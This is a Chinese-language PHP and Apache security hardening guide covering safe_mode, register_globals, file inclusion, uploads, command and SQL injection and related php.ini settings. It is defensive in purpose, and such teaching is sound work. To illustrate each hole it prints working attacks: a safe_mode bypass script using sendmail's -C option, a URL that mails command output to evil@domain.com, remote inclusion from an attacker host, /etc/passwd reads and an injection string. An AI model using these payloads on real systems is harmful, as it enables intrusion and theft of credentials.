PHP安全配置

版本：0.02

一、Web伺服器安全

PHP其實不過是Web伺服器的一個模組功能，所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全，這樣就扯遠了，無窮無盡。PHP可以和各種Web伺服器結合，這裡也只討論Apache。非常建議以chroot方式安裝啟動Apache，這樣即使Apache和PHP及其指令碼出現漏洞，受影響的也只有這個禁錮的系統，不會危害實際系統。但是使用chroot的Apache後，給應用也會帶來一定的麻煩，比如串連mysql時必須用127.0.0.1地址使用tcp串連而不能用localhost實現socket串連，這在效率上會稍微差一點。還有mail函數發送郵件也是個問題，因為php.ini裡的：

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = me@localhost.com

都是針對Win32平台，所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠程溢出

PHP-4.1.2以下的所有版本都存在檔案上傳遠程緩衝區溢位漏洞，而且攻擊程式已經廣泛流傳，成功率非常高：

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、遠程拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞，雖然不能獲得本機使用者許可權，但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞，4.0.5版本開始mail函數增加了第五個參數，由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單，只需用分號隔開後面加shell命令就可以了，比如存在PHP指令碼evil.php：

<? mail("foo@bar,"foo","bar","",$bar); ?>

執行如下的URL：

http://foo.com/evil.php?bar=;/usr/bin/id|mail evil@domain.com

這將id執行的結果發送給evil@domain.com。

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數，所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令：

<?
# 注意，下面這兩個必須是不存在的，或者它們的屬主和本指令碼的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

還是使用以上有問題版本PHP的使用者一定要及時升級到最新版本，這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活，可以通過php.ini, httpd.conf, .htaccess檔案（該目錄必須設定了AllowOverride All或Options）進行設定，還可以在指令碼程式裡使用ini_set()及其他的特定的函數進行設定。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的，必須通過php.ini和httpd.conf來修改，它們修改的是PHP的Master值，但修改之後必須重啟apache才會生效。其中php.ini設定的選項是對Web伺服器所有指令碼生效，httpd.conf裡設定的選項是對該定義的目錄下所有指令碼生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess檔案設定，也可以通過在指令碼程式自身用ini_set()函數設定，它們修改的是Local值，改了以後馬上生效。但是.htaccess只對目前的目錄的指令碼程式生效，ini_set()函數只對該指令碼程式設定ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同，可以用如下命令尋找當前原始碼的main.c檔案得到所有的選項，以及它的屬性：

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前，應該好好瞭解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性，必須通過php.ini或httpd.conf來設定。要啟用safe_mode，只需修改php.ini：

safe_mode = On

或者修改httpd.conf，定義目錄：

<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>

重啟apache後safe_mode就生效了。啟動safe_mode，會對許多PHP函數進行限制，特別是和系統相關的檔案開啟、命令執行等函數。
所有操作檔案的函數將只能操作與指令碼UID相同的檔案，比如test.php指令碼的內容為：

<?include("index.html")?>

幾個檔案的屬性如下：

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤資訊：

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作檔案所在目錄的UID和指令碼UID一致，那麼該檔案的UID即使和指令碼不同也可以訪問的，不知這是否是PHP的一個漏洞還是另有隱情。所以php指令碼屬主這個使用者最好就只作這個用途，絕對禁止使用root做為php指令碼的屬主，這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較，則開啟 safe_mode_gid可以考慮只比較檔案的GID，可以設定如下選項：

safe_mode_gid = On

設定了safe_mode以後，所有命令執行的函數將被限制只能執行php.ini裡safe_mode_exec_dir指定目錄裡的程式，而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程式，可以在php.ini做如下設定：

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程式到該目錄，那麼php指令碼就可以用system等函數來執行該程式。而且該目錄裡的shell指令碼還是可以調用其它目錄裡的系統命令。

safe_mode_include_dir string
當從此目錄及其子目錄（目錄必須在 include_path 中或者用完整路徑來包含）包含檔案時越過 UID/GID 檢查。

從 PHP 4.2.0 開始，本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑，而不只是一個目錄。

指定的限制實際上是一個首碼，而非一個目錄名。這也就是說“safe_mode_include_dir = /dir/incl”將允許訪問“/dir/include”和“/dir/incls”，如果它們存在。如果您希望將存取控制在一個指定的目錄，那麼請在結尾加上一個斜線，例如：“safe_mode_include_dir = /dir/incl/”。

safe_mode_allowed_env_vars string
設定某些環境變數可能是潛在的安全缺口。本指令包含有一個逗號分隔的首碼列表。在安全模式下，使用者只能改變那些名字具有在這裡提供的首碼的環境變數。預設情況下，使用者只能設定以 PHP_ 開頭的環境變數（例如 PHP_FOO = BAR）。

注: 如果本指令為空白，PHP 將使使用者可以修改任何環境變數！

safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變數的列表，終端使用者不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設定了允許修改時也不能改變這些變數。

雖然safe_mode不是萬能的（低版本的PHP可以繞過），但還是強烈建議開啟安全模式，在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制，可能對應用帶來影響，所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode後，下面結合程式碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。

2、變數濫用

PHP預設register_globals = On，對於GET, POST, Cookie, Environment, Session的變數可以直接註冊成全域變數。它們的註冊順序是variables_order = "EGPCS"（可以通過php.ini修改），同名變數variables_order右邊的覆蓋左邊，所以變數的濫用極易造成程式的混亂。而且指令碼程式員往往沒有對變數初始化的習慣，像如下的程式片斷就極易受到攻擊：

<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻擊者只需用如下的請求就能繞過檢查：
http://victim/test_1.php?auth=1

這雖然是一個很弱智的錯誤，但一些著名的程式也有犯過這種錯誤，比如phpnuke的遠程檔案拷貝漏洞：http://www.securityfocus.com/bid/3361

PHP-4.1.0發布的時候建議關閉register_globals，並提供了7個特殊的陣列變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接註冊成變數，必需通過陣列變數來存取。PHP-4.2.0發布的時候，php.ini預設配置就是register_globals = Off。這使得程式使用PHP自身初始化的預設值，一般為0，避免了攻擊者控制判斷變數。

解決方案：

設定檔php.ini設定register_globals = Off。

要求程式員對作為判斷的變數在程式最開始初始化一個值。

3、檔案開啟

極易受攻擊的代碼片斷：

<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>

由於攻擊者可以指定任意的$filename，攻擊者用如下的請求就可以看到/etc/passwd：

http://victim/test_2.php?filename=/etc/passwd

如下請求可以讀php檔案本身：

http://victim/test_2.php?filename=test_2.php

PHP中檔案開啟函數還有fopen(), file()等，如果對檔案名稱變數檢查不嚴就會造成伺服器重要檔案被訪問讀取。

解決方案：

如非特殊需要，把php的檔案操作限制在web目錄裡面。以下是修改apache設定檔httpd.conf的一個例子：

<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>

重啟apache後，/usr/local/apache/htdocs目錄下的PHP指令碼就只能操作它自己目錄下的檔案了，否則PHP就會報錯：

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題，前面已經討論過了。

4、包含檔案

極易受攻擊的代碼片斷：

<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>

這種不負責任的代碼會造成相當大的危害，攻擊者用如下請求可以得到/etc/passwd檔案：

http://victim/test_3.php?filename=/etc/passwd

如果對於Unix版的PHP（Win版的PHP不支援遠程開啟檔案）攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的檔案，如http://attack/attack.txt的內容是<?passthru("ls /etc")?>，那麼如下的請求就可以在目標主機執行命令ls /etc：

http://victim/test_3.php?filename=http://attack/attack.txt

攻擊者甚至可以通過包含apache的記錄檔access.log和error.log來得到執行命令的代碼，不過由於幹擾資訊太多，有時不易成功。
對於另外一種形式，如下代碼片斷：

<?
//test_4.php

include("$lib/config.php");
?>

攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php檔案，然後用如下請求也可以在目標主機執行命令：

http://victim/test_4.php?lib=http://attack

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含檔案名稱變數檢查不嚴就會對系統造成嚴重危險，可以遠程執行命令。

解決方案：

要求程式員包含檔案裡的參數盡量不要使用變數，如果使用變數，就一定要嚴格檢查要包含的檔案名稱，絕對不能由使用者任意指定。

如前面檔案開啟中限制PHP操作路徑是一個必要的選項。另外，如非特殊需要，一定要關閉PHP的遠程檔案開啟功能。修改php.ini檔案：

allow_url_fopen = Off

重啟apache。

5、檔案上傳

php的檔案上傳機制是把使用者上傳的檔案儲存在php.ini的upload_tmp_dir定義的臨時目錄（預設是系統的臨時目錄，如：/tmp）裡的一個類似phpxXuoXG的隨機臨時檔案，程式執行結束，該臨時檔案也被刪除。PHP給上傳的檔案定義了四個變數：（如form變數名是file，而且register_globals開啟）

$file #就是儲存到伺服器端的臨時檔案（如/tmp/phpxXuoXG ）
$file_size #上傳檔案的大小
$file_name #上傳檔案的原始名稱
$file_type #上傳檔案的類型

推薦使用：

$HTTP_POST_FILES['file']['tmp_name']
$HTTP_POST_FILES['file']['size']
$HTTP_POST_FILES['file']['name']
$HTTP_POST_FILES['file']['type']

這是一個最簡單的檔案上傳代碼：

<?
//test_5.php

if(isset($upload) && $file != "none") {
copy($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "檔案".$file_name."上傳成功！點擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>檔案上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳檔案:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>

這樣的上傳代碼存在讀取任意檔案和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test（注意：這個目錄必須nobody可寫）下的attack.txt檔案裡：

http://victim/test_5.php?upload=1&file=/etc/passwd&file_name=attack.txt

然後可以用如下請求讀取口令檔案：

http://victim/test/attack.txt

攻擊者可以把php檔案拷貝成其它副檔名，泄漏指令碼原始碼。
攻擊者可以自訂form裡file_name變數的值，上傳覆蓋任意有寫入權限的檔案。
攻擊者還可以上傳PHP指令碼執行主機的命令。

解決方案：

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數，可以檢查操作的檔案是否是使用者上傳的檔案，從而避免把系統檔案拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取使用者上傳的檔案變數。
嚴格檢查上傳變數。比如不允許是php指令檔。

把PHP指令碼操作限制在web目錄可以避免程式員使用copy函數把系統檔案拷貝到web目錄。move_uploaded_file不受open_basedir的限制，所以不必修改php.ini裡upload_tmp_dir的值。
把PHP指令碼用phpencode進行加密，避免由於copy操作泄漏源碼。
嚴格設定檔和目錄的許可權，只允許上傳的目錄能夠讓nobody使用者可寫。
對於上傳目錄去掉PHP解釋功能，可以通過修改httpd.conf實現：

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>

重啟apache，upload目錄的php檔案就不能被apache解釋了，即使上傳了php檔案也沒有問題，只能直接顯示源碼。

6、命令執行

下面的代碼片斷是從PHPNetToolpack摘出，詳細的描述見：

http://www.securityfocus.com/bid/4303

<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由於程式沒有過濾$a_query變數，所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令：

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險，慎用。如果要使用一定要嚴格檢查使用者輸入。

解決方案：

要求程式員使用escapeshellcmd()函數過濾使用者輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題，不過要注意PHP的版本一定要是最新的，小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變數進行處理就會存在問題：

select * from login where user='$user' and pass='$pass'

攻擊者可以使用者名稱和口令都輸入1' or 1='1繞過驗證。

不過幸虧PHP有一個預設的選項magic_quotes_gpc = On，該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了：

select * from login where user='1\' or 1=\'1' and pass='1\' or 1=\'1'

從而避免了此類sql_inject攻擊。

對於數字類型的欄位，很多程式員會這樣寫：

select * from test where id=$id

由於變數沒有用單引號擴起來，就會造成sql_inject攻擊。幸虧MySQL功能簡單，沒有sqlserver等資料庫有執行命令的SQL語句，而且PHP的mysql_query()函數也只允許執行一條SQL語句，所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯，泄漏系統的一些資訊，或者一些意想不到的情況。

解決方案：

要求程式員對所有使用者提交的要放到SQL語句的變數進行過濾。
即使是數字類型的欄位，變數也要用單引號擴起來，MySQL自己會把字串處理成數字。
在MySQL裡不要給PHP程式進階別許可權的使用者，只允許對自己的庫進行操作，這也避免了程式出現問題被 SELECT INTO OUTFILE ... 這種攻擊。

8、警告及錯誤資訊

PHP預設顯示所有的警告及錯誤資訊：

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平時開發調試時這非常有用，可以根據警告資訊馬上找到程式錯誤所在。
正式應用時，警告及錯誤資訊讓使用者不知所措，而且給攻擊者泄漏了指令碼所在的實體路徑，為攻擊者的進一步攻擊提供了有利的資訊。而且由於自己沒有訪問到錯誤的地方，反而不能及時修改程式的錯誤。所以把PHP的所有警告及錯誤資訊記錄到一個記錄檔是非常明智的，即不給攻擊者泄漏實體路徑，又能讓自己知道程式錯誤所在。

修改php.ini中關於Error handling and logging部分內容：

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然後重啟apache，注意檔案/usr/local/apache/logs/php_error.log必需可以讓nobody使用者可寫。

9、disable_functions

如果覺得有些函數還有威脅，可以設定php.ini裡的disable_functions（這個選項不能在httpd.conf裡設定），比如：

disable_functions = phpinfo, get_cfg_var

可以指定多個函數，用逗號分開。重啟apache後，phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var，這兩個函數容易泄漏伺服器資訊，而且沒有實際用處。

10、disable_classes

這個選項是從PHP-4.3.2開始才有的，它可以禁用某些類，如果有多個用逗號分隔類名。disable_classes也不能在httpd.conf裡設定，只能在php.ini設定檔裡修改。

11、open_basedir

前面分析常式的時候也多次提到用open_basedir對指令碼操作路徑進行限制，這裡再介紹一下它的特性。用open_basedir指定的限制實際上是首碼，不是目錄名。也就是說 "open_basedir = /dir/incl" 也會允許訪問 "/dir/include" 和 "/dir/incls"，如果它們存在的話。如果要將訪問限制在僅為指定的目錄，用斜線結束路徑名。例如："open_basedir = /dir/incl/"。
可以設定多個目錄，在Windows中，用分號分隔目錄。在任何其它系統中用冒號分隔目錄。作為Apache模組時，父目錄中的open_basedir路徑自動被繼承。

四、其它安全配置

1、取消其它使用者對常用、重要系統命令的讀寫執行許可權

一般管理員維護只需一個普通使用者和系統管理使用者，除了這兩個使用者，給其它使用者能夠執行和訪問的東西應該越少越好，所以取消其它使用者對常用、重要系統命令的讀寫執行許可權能在程式或者服務出現漏洞的時候給攻擊者帶來很大的迷惑。記住一定要連讀的許可權也去掉，否則在linux下可以用/lib/ld-linux.so.2 /bin/ls這種方式來執行。
如果要取消某程如果是在chroot環境裡，這個工作比較容易實現，否則，這項工作還是有些挑戰的。因為取消一些程式的執行許可權會導致一些服務運行不正常。PHP的mail函數需要/bin/sh去調用sendmail發信，所以/bin/bash的執行許可權不能去掉。這是一項比較累人的工作，

2、去掉apache日誌其它使用者的讀許可權

apache的access-log給一些出現當地套件含漏洞的程式提供了方便之門。通過提交包含PHP代碼的URL，可以使access-log包含PHP代碼，那麼把包含檔案指向access-log就可以執行那些PHP代碼，從而獲得本地存取權限。
如果有其它虛擬機器主機，也應該相應去掉該記錄檔其它使用者的讀許可權。

當然，如果你按照前面介紹的配置PHP那麼一般已經是無法讀取記錄檔了。

參考資料：

記錄：

0.02 - 想好好維護這個文檔，由於時間比較長了，做了較多修改
0.01 - 初始版本